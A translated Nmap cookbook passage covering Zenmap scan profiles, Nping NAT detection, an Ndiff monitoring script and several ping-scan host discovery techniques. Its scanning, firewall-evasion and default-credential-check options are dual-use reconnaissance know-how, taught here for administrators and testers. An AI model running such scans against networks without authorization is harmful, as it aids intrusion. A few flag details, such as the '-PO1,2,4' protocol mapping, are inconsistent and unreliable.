扫描配置文件是 Nmap 参数的组合,可用于节省时间,并且在启动 Nmap 扫描时无需记住参数名称。
这个配方是关于在 Zenmap 中添加、编辑和删除扫描配置文件。
如何操作...
让我们为扫描 Web 服务器添加一个新的配置文件:
-
启动 Zenmap。
-
单击主工具栏上的配置文件。
-
单击新配置文件或命令(Ctrl + P)。将启动配置文件编辑器。
-
在配置文件选项卡上输入配置文件名称和描述。
-
在扫描选项卡上启用版本检测,并禁用反向 DNS 解析。
-
在脚本选项卡上启用以下脚本:
-
hostmap
-
http-default-accounts
-
http-enum
-
http-favicon
-
http-headers
-
http-methods
-
http-trace
-
http-php-version
-
http-robots.txt
-
http-title
-
接下来,转到目标选项卡,单击端口以扫描,并输入
80
,443
。 -
单击保存更改以保存更改。
它是如何工作的...
在使用编辑器创建配置文件后,我们得到了以下 Nmap 命令:
$ nmap -sV -p 80,443 -T4 -n --script http-default-accounts,http-methods,http-php-version,http-robots.txt,http-title,http-trace,http-userdir-enum <target>
使用配置文件向导,我们已启用服务扫描(-sV
),将扫描端口设置为80
和443
,将定时模板设置为4
,并选择了一堆 HTTP 相关的脚本,以尽可能多地从这个 Web 服务器中收集信息。现在我们已经保存了这个配置文件,可以快速扫描而无需再次输入所有这些标志和选项。
还有更多...
Zenmap 包括 10 个预定义的扫描配置文件,以帮助新手熟悉 Nmap。我建议您分析它们,以了解 Nmap 可用的附加扫描技术,以及一些更有用的选项组合。
-
强烈扫描:
nmap -T4 -A -v
-
强烈扫描加 UDP:
nmap -sS -sU -T4 -A -v
-
强烈扫描,所有 TCP 端口:
nmap -p 1-65535 -T4 -A -v
-
强烈扫描,无 ping:
nmap -T4 -A -v -Pn
-
Ping 扫描:
nmap -sn
-
快速扫描:
nmap -T4 -F
-
快速扫描加:
nmap -sV -T4 -O -F –version-light
-
快速 traceroute:
nmap -sn –traceroute
-
常规扫描:
nmap
-
慢速综合扫描:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script
默认或发现和安全
编辑和删除扫描配置文件
要编辑或删除扫描配置文件,您需要从配置文件下拉菜单中选择要修改的条目。单击主工具栏上的配置文件,然后选择编辑所选配置文件(Ctrl + E)。
将启动编辑器,允许您编辑或删除所选配置文件。
另请参阅
-
列出远程主机上的开放端口的配方
-
远程主机的指纹服务器的配方
-
在您的网络中查找活动主机的配方
-
使用特定端口范围进行扫描的配方
-
运行 NSE 脚本的配方
-
在[第二章](ch02.html“第二章。网络探索”)中扫描 IPv6 地址的配方,网络探索
-
在[第二章](ch02.html“第二章。网络探索”)中使用广播脚本收集网络信息的配方,网络探索
-
在[第三章](ch03.html“第三章。收集其他主机信息”)中查找 UDP 服务的配方,收集其他主机信息
使用 Nping 检测 NAT
Nping 旨在用于数据包制作和流量分析,并且非常适用于各种网络任务。
以下配方将介绍 Nping,演示如何借助 Nping Echo 协议执行 NAT 检测。
如何做...
打开终端并输入以下命令:
# nping --ec "public" -c 1 echo.nmap.org
这将导致类似于以下示例的输出流:
Nping 将返回客户端和 Nping 回显服务器echo.nmap.org
之间的数据包流量:
Starting Nping 0.5.59BETA1 ( http://nmap.org/nping ) at 2011-10-27 16:59 PDT
SENT (1.1453s) ICMP 192.168.1.102 > 74.207.244.221 Echo request (type=8/code=0) ttl=64 id=47754 iplen=28
CAPT (1.1929s) ICMP 187.136.56.27 > 74.207.244.221 Echo request (type=8/code=0) ttl=57 id=47754 iplen=28
RCVD (1.2361s) ICMP 74.207.244.221 > 192.168.1.102 Echo reply (type=0/code=0) ttl=53 id=37482 iplen=28
Max rtt: 90.751ms | Min rtt: 90.751ms | Avg rtt: 90.751ms
Raw packets sent: 1 (28B) | Rcvd: 1 (46B) | Lost: 0 (0.00%)| Echoed: 1 (28B)
Tx time: 0.00120s | Tx bytes/s: 23236.51 | Tx pkts/s: 829.88
Rx time: 1.00130s | Rx bytes/s: 45.94 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 2.23 seconds
注意第一个标记为SENT
的数据包中的源地址192.168.1.102
。
SENT (1.1453s) ICMP 192.168.1.102 > 74.207.244.221 Echo request (type=8/code=0) ttl=64 id=47754 iplen=28
将此地址与标记为CAPT
的第二个数据包中的源地址进行比较。
CAPT (1.1929s) ICMP 187.136.56.27 > 74.207.244.221 Echo request (type=8/code=0) ttl=57 id=47754 iplen=28
这些地址不同,表明存在 NAT。
它是如何工作的...
Nping 的回显模式旨在帮助排除防火墙和路由问题。基本上,它会将接收到的数据包的副本返回给客户端。
命令是:
# nping --ec "public" -c 1 echo.nmap.org
它使用 Nping 的回显模式(--ec
或--echo-client
)来帮助我们分析 Nmap 的 Nping 回显服务器之间的流量,以确定网络中是否存在 NAT 设备。 –ec
后面的参数对应于服务器知道的秘密密码短语,用于加密和验证会话。
标志-c
用于指定必须发送多少次数据包的迭代。
还有更多...
使用 Nping 生成自定义 TCP 数据包非常简单。例如,要向端口 80 发送 TCP SYN 数据包,请使用以下命令:
# nping --tcp -flags syn -p80 -c 1 192.168.1.254
这将导致以下输出:
SENT (0.0615s) TCP 192.168.1.102:33599 > 192.168.1.254:80 S ttl=64 id=21546 iplen=40 seq=2463610684 win=1480
RCVD (0.0638s) TCP 192.168.1.254:80 > 192.168.1.102:33599 SA ttl=254 id=30048 iplen=44 seq=457728000 win=1536 <mss 768>
Max rtt: 2.342ms | Min rtt: 2.342ms | Avg rtt: 2.342ms
Raw packets sent: 1 (40B) | Rcvd: 1 (46B) | Lost: 0 (0.00%)
Tx time: 0.00122s | Tx bytes/s: 32894.74 | Tx pkts/s: 822.37
Rx time: 1.00169s | Rx bytes/s: 45.92 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 1.14 seconds
Nping 是用于流量分析和数据包制作的非常强大的工具。通过使用以下命令,花点时间查看其所有选项:
$ nping -h
Nping Echo 协议
要了解有关 Nping Echo 协议的更多信息,请访问nmap.org/svn/nping/docs/EchoProtoRFC.txt
。
另请参阅
-
在您的网络中查找活动主机的配方
-
使用 Ndiff 比较扫描结果的配方
-
使用 Zenmap 管理多个扫描配置文件的配方
-
使用 Nmap 和 Ndiff 远程监视服务器的配方
-
使用广播脚本收集网络信息的配方[第二章](ch02.html“第二章。网络探索”),网络探索
-
暴力破解 DNS 记录的配方[第三章](ch03.html“第三章。收集其他主机信息”),收集其他主机信息
-
欺骗端口扫描的源 IP 的配方[第三章](ch03.html“第三章。收集其他主机信息”),收集其他主机信息
-
使用 Zenmap 生成网络拓扑图的配方[第八章](ch08.html“第八章。生成扫描报告”),生成扫描报告
使用 Nmap 和 Ndiff 远程监视服务器
通过结合 Nmap 项目中的工具,我们可以建立一个简单但强大的监控系统。这可以被系统管理员用来监视 Web 服务器,也可以被渗透测试人员用来监视远程系统。
本配方描述了如何使用 bash 脚本、cron、Nmap 和 Ndiff 设置一个监控系统,如果在网络中检测到变化,系统将通过电子邮件向用户发出警报。
如何做...
创建目录/usr/local/share/nmap-mon/
以存储所有必要的文件。
扫描您的目标主机并将结果保存在您刚刚创建的目录中。
# nmap -oX base_results.xml -sV -PN <target>
生成的文件base_results.xml
将被用作您的基本文件,这意味着它应该反映已知的“良好”版本和端口。
将文件nmap-mon.sh
复制到您的工作目录中。
扫描的输出将如下所示。
#!/bin/bash
#Bash script to email admin when changes are detected in a network using Nmap and Ndiff.
#
#Don't forget to adjust the CONFIGURATION variables.
#Paulino Calderon <calderon@websec.mx>
#
#CONFIGURATION
#
NETWORK="YOURDOMAIN.COM"
ADMIN=YOUR@EMAIL.COM
NMAP_FLAGS="-sV -Pn -p- -T4"
BASE_PATH=/usr/local/share/nmap-mon/
BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml
NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml
BASE_RESULTS="$BASE_PATH$BASE_FILE"
NEW_RESULTS="$BASE_PATH$NEW_RESULTS_FILE"
NDIFF_RESULTS="$BASE_PATH$NDIFF_FILE"
if [ -f $BASE_RESULTS ]
then
echo "Checking host $NETWORK"
${BIN_PATH}nmap -oX $NEW_RESULTS $NMAP_FLAGS $NETWORK
${BIN_PATH}ndiff $BASE_RESULTS $NEW_RESULTS > $NDIFF_RESULTS
if [ $(cat $NDIFF_RESULTS | wc -l) -gt 0 ]
then
echo "Network changes detected in $NETWORK"
cat $NDIFF_RESULTS
echo "Alerting admin $ADMIN"
mail -s "Network changes detected in $NETWORK" $ADMIN < $NDIFF_RESULTS
fi
fi
根据您的系统更新配置值。
NETWORK="YOURDOMAIN.COM"
ADMIN=YOUR@EMAIL.COM
NMAP_FLAGS="-sV -Pn -p- -T4"
BASE_PATH=/usr/local/share/nmap-mon/
BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml
NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml
通过输入以下命令使nmap-mon.sh
可执行:
# chmod +x /usr/local/share/nmap-mon/nmap-mon.sh
现在,您可以运行脚本nmap-mon.sh
,以确保它正常工作。
# /usr/local/share/nmap-mon/nmap-mon.sh
启动您的crontab
编辑器:
# crontab -e
添加以下命令:
0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh
当 Ndiff 检测到网络中的变化时,您现在应该收到电子邮件警报。
它是如何工作的...
Ndiff 是用于比较两次 Nmap 扫描的工具。借助 bash 和 cron 的帮助,我们设置了一个定期执行的任务,以扫描我们的网络并将当前状态与旧状态进行比较,以识别它们之间的差异。
还有更多...
您可以通过修改 cron 行来调整扫描之间的间隔:
0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh
要更新您的基本文件,您只需覆盖位于/usr/local/share/nmap-mon/
的基本文件。请记住,当我们更改扫描参数以创建基本文件时,我们也需要在nmap-mon.sh
中更新它们。
监视特定服务
要监视某些特定服务,您需要更新nmap-mon.sh
中的扫描参数。
NMAP_FLAGS="-sV -Pn"
例如,如果您想监视 Web 服务器,可以使用以下参数:
NMAP_FLAGS="-sV --script http-google-safe -Pn -p80,443"
这些参数仅将端口扫描设置为端口80
和443
,此外,这些参数还包括脚本http-google-safe
,以检查您的 Web 服务器是否被 Google 安全浏览服务标记为恶意。
另请参阅
-
列出远程主机上的开放端口配方
-
对远程主机的指纹服务进行识别配方
-
在您的网络中查找活动主机配方
-
运行 NSE 脚本配方
-
使用 Ndiff 比较扫描结果配方
-
第二章中的使用 ICMP ping 扫描发现主机配方,网络探索
-
第二章中的扫描 IPv6 地址配方,网络探索
-
第二章中的使用广播脚本收集网络信息配方,网络探索
-
第三章中的检查主机是否已知存在恶意活动配方,收集额外的主机信息
-
第三章中的发现 UDP 服务配方,收集额外的主机信息
第二章:网络探测
注意
本章将向您展示如何做一些在许多情况下可能是非法、不道德、违反服务条款或不明智的事情。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边...善用您的力量!
在本章中,我们将介绍:
-
使用 TCP SYN ping 扫描发现主机
-
使用 TCP ACK ping 扫描发现主机
-
使用 UDP ping 扫描发现主机
-
使用 ICMP ping 扫描发现主机
-
使用 IP 协议 ping 扫描发现主机
-
使用 ARP ping 扫描发现主机
-
使用广播 ping 发现主机
-
使用额外的随机数据隐藏我们的流量
-
强制 DNS 解析
-
从扫描中排除主机
-
扫描 IPv6 地址
-
使用广播脚本收集网络信息
介绍
近年来,Nmap 已成为网络探测的事实标准工具,远远超越其他扫描器。它之所以受欢迎,是因为具有大量对渗透测试人员和系统管理员有用的功能。它支持应用于主机和服务发现的几种 ping 和端口扫描技术。
受数据包过滤系统(如防火墙或入侵防范系统)保护的主机有时会因为用于阻止某些类型流量的规则而导致错误结果。在这些情况下,Nmap 提供的灵活性是非常宝贵的,因为我们可以轻松尝试替代的主机发现技术(或它们的组合)来克服这些限制。Nmap 还包括一些非常有趣的功能,使我们的流量更不容易引起怀疑。因此,如果您想进行真正全面的扫描,学习如何结合这些功能是必不可少的。
系统管理员将了解不同扫描技术的内部工作原理,并希望激励他们加强流量过滤规则,使其主机更安全。
本章介绍了支持的ping 扫描技术—TCP SYN、TCP ACK、UDP、IP、ICMP 和广播。还描述了其他有用的技巧,包括如何强制 DNS 解析、随机化主机顺序、附加随机数据和扫描 IPv6 地址。
不要忘记访问主机发现的参考指南,托管在nmap.org/book/man-host-discovery.html
。
使用 TCP SYN ping 扫描发现主机
Ping 扫描用于检测网络中的活动主机。Nmap 的默认 ping 扫描(-sP
)使用 TCP ACK 和 ICMP 回显请求来确定主机是否响应,但如果防火墙阻止这些请求,我们将错过这个主机。幸运的是,Nmap 支持一种称为 TCP SYN ping 扫描的扫描技术,在这些情况下非常方便,系统管理员可以对其他防火墙规则更加灵活。
本教程将介绍 TCP SYN ping 扫描及其相关选项。
如何做...
打开终端并输入以下命令:
$ nmap -sP -PS 192.168.1.1/24
您应该看到使用 TCP SYN ping 扫描找到的主机列表:
$ nmap -sP -PS 192.168.1.1/24
Nmap scan report for 192.168.1.101
Host is up (0.088s latency).
Nmap scan report for 192.168.1.102
Host is up (0.000085s latency).
Nmap scan report for 192.168.1.254
Host is up (0.0042s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 18.69 seconds
工作原理...
参数-sP
告诉 Nmap 执行 ping 扫描,仅包括发现在线主机。
标志-PS
强制进行 TCP SYN ping 扫描。这种 ping 扫描的工作方式如下:
-
Nmap 向端口 80 发送 TCP SYN 数据包。
-
如果端口关闭,主机将用 RST 数据包响应。
-
如果端口是开放的,主机将用 TCP SYN/ACK 数据包响应,表示可以建立连接。之后,发送 RST 数据包以重置此连接。
在192.168.1.1/24
中的 CIDR /24
用于表示我们要扫描私有网络中的所有 256 个 IP。
还有更多...
让我们对一个不响应 ICMP 请求的主机进行 ping 扫描。
# nmap -sP 0xdeadbeefcafe.com
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.14 seconds
主机被标记为离线,但让我们尝试强制进行 TCP SYN ping 扫描:
# nmap -sP -PS 0xdeadbeefcafe.com
Nmap scan report for 0xdeadbeefcafe.com (50.116.1.121)
Host is up (0.090s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds
这次我们发现这个特定的主机确实在线,但在一个过滤 TCP ACK 或 ICMP 回显请求的系统后面。
特权与非特权 TCP SYN ping 扫描
作为无特权用户运行 TCP SYN ping 扫描,无法发送原始数据包,使 Nmap 使用系统调用connect()
发送 TCP SYN 数据包。在这种情况下,当函数成功返回时,Nmap 区分 SYN/ACK 数据包,当它收到 ECONNREFUSED 错误消息时,它区分 RST 数据包。
防火墙和流量过滤器
在 TCP SYN ping 扫描期间,Nmap 使用 SYN/ACK 和 RST 响应来确定主机是否响应。重要的是要注意,有防火墙配置为丢弃 RST 数据包。在这种情况下,除非我们指定一个开放的端口,否则 TCP SYN ping 扫描将失败:
$ nmap -sP -PS80 <target>
您可以使用-PS
(端口列表或范围)设置要使用的端口列表如下:
$ nmap -sP -PS80,21,53 <target>
$ nmap -sP -PS1-1000 <target>
$ nmap -sP -PS80,100-1000 <target>
另请参阅
-
在第一章中的* Nmap 基础知识中的在您的网络中查找活动主机*方法
-
使用 TCP ACK ping 扫描发现主机的方法
-
使用 UDP ping 扫描发现主机的方法
-
使用 ICMP ping 扫描发现主机的方法
-
使用 IP 协议 ping 扫描发现主机的方法
-
使用 ARP ping 扫描发现主机的方法
-
使用广播 ping 发现主机的方法
-
在第三章中的使用 TCP ACK 扫描发现有状态防火墙方法,收集其他主机信息
使用 TCP ACK ping 扫描发现主机
与 TCP SYN ping 扫描类似,TCP ACK ping 扫描用于确定主机是否响应。它可以用于检测阻止 SYN 数据包或 ICMP 回显请求的主机,但是现代防火墙跟踪连接状态,因此很可能会被阻止。
以下方法显示了如何执行 TCP ACK ping 扫描及其相关选项。
如何做到...
在终端中输入以下命令:
# nmap -sP -PA <target>
它是如何工作的...
TCP ACK ping 扫描的工作方式如下:
-
Nmap 发送一个带有 ACK 标志设置为端口 80 的空 TCP 数据包
-
如果主机离线,它不应该对此请求做出响应
-
如果主机在线,它会返回一个 RST 数据包,因为连接不存在
还有更多...
重要的是要理解,有时这种技术不起作用。让我们对其中一个主机进行 TCP ACK ping 扫描。
# nmap -sP -PA 0xdeadbeefcafe.com
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.14 seconds
主机显示为离线,但让我们尝试使用相同的主机进行 TCP SYN ping 扫描。
# nmap -sP -PS 0xdeadbeefcafe.com
Nmap scan report for 0xdeadbeefcafe.com (50.116.1.121)
Host is up (0.090s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds
我们发现主机在线,但阻止了 ACK 数据包。
特权与非特权 TCP ACK ping 扫描
TCP ACK ping 扫描需要以特权用户身份运行,否则将使用系统调用connect()
发送一个空的 TCP SYN 数据包。因此,TCP ACK ping 扫描将不使用先前讨论的 TCP ACK 技术作为非特权用户,并且将执行 TCP SYN ping 扫描。
在 TCP ACK ping 扫描中选择端口
此外,您可以通过在标志-PA
后列出它们来选择要使用此技术进行探测的端口:
# nmap -sP -PA21,22,80 <target>
# nmap -sP -PA80-150 <target>
# nmap -sP -PA22,1000-65535 <target>
另请参阅
-
在第一章中的* Nmap 基础知识中的在您的网络中查找活动主机*方法
-
使用 TCP SYN ping 扫描发现主机的方法
-
使用 UDP ping 扫描发现主机的方法
-
使用 ICMP ping 扫描发现主机的方法
-
使用 ARP ping 扫描发现主机的方法
-
使用 ARP ping 扫描发现主机的方法
-
使用广播 ping 发现主机的方法
-
在第三章中的使用 TCP ACK 扫描发现有状态防火墙方法,收集其他主机信息
使用 UDP ping 扫描发现主机
Ping 扫描用于确定主机是否响应并且可以被视为在线。UDP ping 扫描具有检测严格 TCP 过滤防火墙后面的系统的优势,使 UDP 流量被遗忘。
下一个配方描述了如何使用 Nmap 执行 UDP ping 扫描以及其相关选项。
如何做到...
打开终端并输入以下命令:
# nmap -sP -PU <target>
Nmap 将使用这种技术确定<target>
是否可达。
# nmap -sP -PU scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.089s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds
工作原理...
UDP ping 扫描使用的技术如下:
-
Nmap 向端口 31 和 338 发送一个空的 UDP 数据包
-
如果主机响应,应返回 ICMP 端口不可达错误
-
如果主机离线,可能会返回各种 ICMP 错误消息
还有更多...
不响应空 UDP 数据包的服务在探测时会产生误报。这些服务将简单地忽略 UDP 数据包,并且主机将被错误地标记为离线。因此,重要的是我们选择可能关闭的端口。
在 UDP ping 扫描中选择端口
要指定要探测的端口,请在标志-PU
后添加它们,如下
:
# nmap -sP -PU1337,11111 scanme.nmap.org
另请参阅
-
第一章中的在您的网络中查找活动主机配方,Nmap 基础
-
使用 TCP SYN ping 扫描发现主机配方
-
使用 TCP ACK ping 扫描发现主机配方
-
使用 ICMP ping 扫描发现主机配方
-
使用 IP 协议 ping 扫描发现主机配方
-
使用 ARP ping 扫描发现主机配方
-
使用广播 ping 发现主机配方
-
第三章中的使用 TCP ACK 扫描发现有状态防火墙配方,收集额外主机信息
使用 ICMP ping 扫描发现主机
Ping 扫描用于确定主机是否在线和响应。ICMP 消息用于此目的,因此 ICMP ping 扫描使用这些类型的数据包来完成此操作。
以下配方描述了如何使用 Nmap 执行 ICMP ping 扫描,以及不同类型的 ICMP 消息的标志。
如何做到...
要发出 ICMP 回显请求,请打开终端并输入以下命令:
# nmap -sP -PE scanme.nmap.org
如果主机响应,您应该看到类似于这样的内容:
# nmap -sP -PE scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.089s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds
工作原理...
参数-sP -PE scanme.nmap.org
告诉 Nmap 向主机scanme.nmap.org
发送 ICMP 回显请求数据包。如果我们收到对此探测的 ICMP 回显回复,我们可以确定主机是在线的。
SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Echo request (type=8/code=0) ttl=56 id=58419 iplen=28
RCVD (0.1671s) ICMP 74.207.244.221 > 192.168.1.102 Echo reply (type=0/code=0) ttl=53 id=24879 iplen=28
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.090s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
还有更多...
不幸的是,ICMP 已经存在了相当长的时间,远程 ICMP 数据包现在通常被系统管理员阻止。但是,对于监视本地网络来说,它仍然是一种有用的 ping 技术。
ICMP 类型
还有其他可以用于主机发现的 ICMP 消息,Nmap 支持 ICMP 时间戳回复(-PP
)和地址标记回复(-PM
)。这些变体可以绕过错误配置的仅阻止 ICMP 回显请求的防火墙。
$ nmap -sP -PP <target>
$ nmap -sP -PM <target>
另请参阅
-
第一章中的在您的网络中查找活动主机配方,Nmap 基础
-
使用 TCP SYN ping 扫描发现主机配方
-
使用 TCP ACK ping 扫描发现主机配方
-
使用 UDP ping 扫描发现主机配方
-
使用 IP 协议 ping 扫描发现主机配方
-
使用 ARP ping 扫描发现主机配方
-
使用广播 ping 发现主机配方
-
第三章中的使用 TCP ACK 扫描发现有状态防火墙配方,收集额外主机信息
使用 IP 协议 ping 扫描发现主机
Ping 扫描对主机发现非常重要。系统管理员和渗透测试人员使用它们来确定哪些主机是在线的并且做出了响应。Nmap 实现了几种 ping 扫描技术,包括一种称为 IP 协议 ping 扫描的技术。这种技术尝试使用不同的 IP 协议发送不同的数据包,希望得到一个表明主机在线的响应。
这个方法描述了如何执行 IP 协议 ping 扫描。
如何操作...
打开你喜欢的终端并输入以下命令:
# nmap -sP -PO scanme.nmap.org
如果主机对任何请求做出了响应,你应该会看到类似下面的内容:
# nmap -sP -PO scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.091s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds
工作原理...
参数-sP -PO scanme.nmap.org
告诉 Nmap 对主机scanme.nmap.org
执行 IP 协议 ping 扫描。
默认情况下,这种 ping 扫描将使用 IGMP、IP-in-IP 和 ICMP 协议来尝试获得表明主机在线的响应。使用--packet-trace
将显示更多发生在幕后的细节:
# nmap -sP -PO --packet-trace scanme.nmap.org
SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Echo request (type=8/code=0) ttl=52 id=8846 iplen=28
SENT (0.0776s) IGMP (2) 192.168.1.102 > 74.207.244.221: ttl=38 id=55049 iplen=28
SENT (0.0776s) IP (4) 192.168.1.102 > 74.207.244.221: ttl=38 id=49338 iplen=20
RCVD (0.1679s) ICMP 74.207.244.221 > 192.168.1.102 Echo reply (type=0/code=0) ttl=53 id=63986 iplen=28
NSOCK (0.2290s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.2290s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.2290s) Write request for 45 bytes to IOD #1 EID 27 [192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.....
NSOCK (0.2290s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.2290s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (4.2300s) Write request for 45 bytes to IOD #1 EID 35 [192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.....
NSOCK (4.2300s) Callback: WRITE SUCCESS for EID 35 [192.168.1.254:53]
NSOCK (8.2310s) Write request for 45 bytes to IOD #1 EID 43 [192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.....
NSOCK (8.2310s) Callback: WRITE SUCCESS for EID 43 [192.168.1.254:53]
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.090s latency).
Nmap done: 1 IP address (1 host up) scanned in 13.23 seconds
标记为SENT
的三行显示了 ICMP、IGMP 和 IP-in-IP 数据包:
SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Echo request (type=8/code=0) ttl=52 id=8846 iplen=28
SENT (0.0776s) IGMP (2) 192.168.1.102 > 74.207.244.221: ttl=38 id=55049 iplen=28
SENT (0.0776s) IP (4) 192.168.1.102 > 74.207.244.221: ttl=38 id=49338 iplen=20
在这三个中,只有 ICMP 做出了响应:
RCVD (0.1679s) ICMP 74.207.244.221 > 192.168.1.102 Echo reply (type=0/code=0) ttl=53 id=63986 iplen=28
然而,这足以表明这个主机是在线的。
更多内容...
你也可以通过在选项-PO
后列出它们来设置要使用的 IP 协议。例如,要使用 ICMP(协议编号 1)、IGMP(协议编号 2)和 UDP(协议编号 17)协议,可以使用以下命令:
# nmap -sP -PO1,2,4 scanme.nmap.org
使用这种技术发送的所有数据包都是空的。请记住,你可以生成随机数据来与这些数据包一起使用,使用选项--data-length
:
# nmap -sP -PO --data-length 100 scanme.nmap.org
支持的 IP 协议及其有效负载
当使用时,设置所有协议头的协议是:
-
TCP:协议编号 6
-
UDP:协议编号 17
-
ICMP:协议编号 1
-
IGMP:协议编号 2
对于其他 IP 协议中的任何一个,将发送一个只有 IP 头的数据包。
另请参阅
-
在第一章的在你的网络中找到活动主机的方法,Nmap 基础知识
-
使用 TCP SYN ping 扫描发现主机的方法
-
使用 TCP ACK ping 扫描发现主机的方法
-
使用 UDP ping 扫描发现主机的方法
-
使用 ICMP ping 扫描发现主机的方法
-
使用 ARP ping 扫描发现主机的方法
-
使用广播 ping 发现主机的方法
-
在第三章的使用 TCP ACK 扫描发现有状态防火墙的方法,收集额外的主机信息
使用 ARP ping 扫描发现主机
渗透测试人员和系统管理员使用 ping 扫描来确定主机是否在线。ARP ping 扫描是在局域网中检测主机的最有效方法。
Nmap 通过使用自己的算法来优化这种扫描技术而真正发光。以下方法将介绍启动 ARP ping 扫描及其可用选项的过程。
如何操作...
打开你喜欢的终端并输入以下命令:
# nmap -sP -PR 192.168.1.1/24
你应该看到对 ARP 请求做出响应的主机列表:
# nmap -sP -PR 192.168.1.1/24
Nmap scan report for 192.168.1.102
Host is up.
Nmap scan report for 192.168.1.103
Host is up (0.0066s latency).
MAC Address: 00:16:6F:7E:E0:B6 (Intel)
Nmap scan report for 192.168.1.254
Host is up (0.0039s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 256 IP addresses (3 hosts up) scanned in 14.94 seconds
工作原理...
参数-sP -PR 192.168.1.1/24
使 Nmap 对这个私有网络中的所有 256 个 IP(CIDR /24)进行 ARP ping 扫描。
ARP ping 扫描的工作方式非常简单:
-
ARP 请求被发送到目标
-
如果主机以 ARP 回复做出响应,那么很明显它是在线的
要发送 ARP 请求,使用以下命令:
# nmap -sP -PR --packet-trace 192.168.1.254
这个命令的结果将如下所示:
SENT (0.0734s) ARP who-has 192.168.1.254 tell 192.168.1.102
RCVD (0.0842s) ARP reply 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C
NSOCK (0.1120s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.1120s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.1120s) Write request for 44 bytes to IOD #1 EID 27 [192.168.1.254:53]: .............254.1.168.192.in-addr.arpa.....
NSOCK (0.1120s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.1120s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (0.2030s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): .............254.1.168.192.in-addr.arpa.....
NSOCK (0.2030s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 34
Nmap scan report for 192.168.1.254
Host is up (0.011s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
注意扫描输出开头的 ARP 请求:
SENT (0.0734s) ARP who-has 192.168.1.254 tell 192.168.1.102
RCVD (0.0842s) ARP reply 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C
ARP 回复显示主机192.168.1.254
在线,并且具有 MAC 地址5C:4C:A9:F2:DC:7C
。
更多内容...
每次 Nmap 扫描私有地址时,都必须不可避免地进行 ARP 请求,因为在发送任何探测之前,我们需要目标的目的地。由于 ARP 回复显示主机在线,因此在此步骤之后实际上不需要进行进一步的测试。这就是为什么 Nmap 在私有 LAN 网络中执行 ping 扫描时每次都会自动使用这种技术的原因,无论传递了什么参数:
# nmap -sP -PS --packet-trace 192.168.1.254
SENT (0.0609s) ARP who-has 192.168.1.254 tell 192.168.1.102
RCVD (0.0628s) ARP reply 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C
NSOCK (0.1370s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.1370s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.1370s) Write request for 44 bytes to IOD #1 EID 27 [192.168.1.254:53]: 1............254.1.168.192.in-addr.arpa.....
NSOCK (0.1370s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.1370s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (0.1630s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): 1............254.1.168.192.in-addr.arpa.....
NSOCK (0.1630s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 34
Nmap scan report for 192.168.1.254
Host is up (0.0019s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
要强制 Nmap 在扫描私有地址时不执行 ARP ping 扫描,请使用选项--send-ip
。这将产生类似以下的输出:
# nmap -sP -PS --packet-trace --send-ip 192.168.1.254
